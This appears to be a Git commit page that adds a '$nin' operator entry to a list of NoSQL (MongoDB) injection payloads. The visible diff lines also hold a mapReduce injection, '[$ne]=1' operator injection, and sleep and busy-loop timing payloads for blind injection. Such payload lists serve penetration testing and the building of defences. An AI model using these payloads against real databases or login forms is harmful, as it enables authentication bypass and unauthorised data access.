Adding the not in operator

Adding the not in operator as another thing to check or test. It will equivalently act as { $ne: 1 } only it functions within an array.
This commit is contained in:
Jamie Scott 2020-05-28 00:34:48 -07:00 committed by GitHub
parent 9a14bdb7ca
commit 5b5cafaa47
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -17,3 +17,4 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{$nin: [""]}}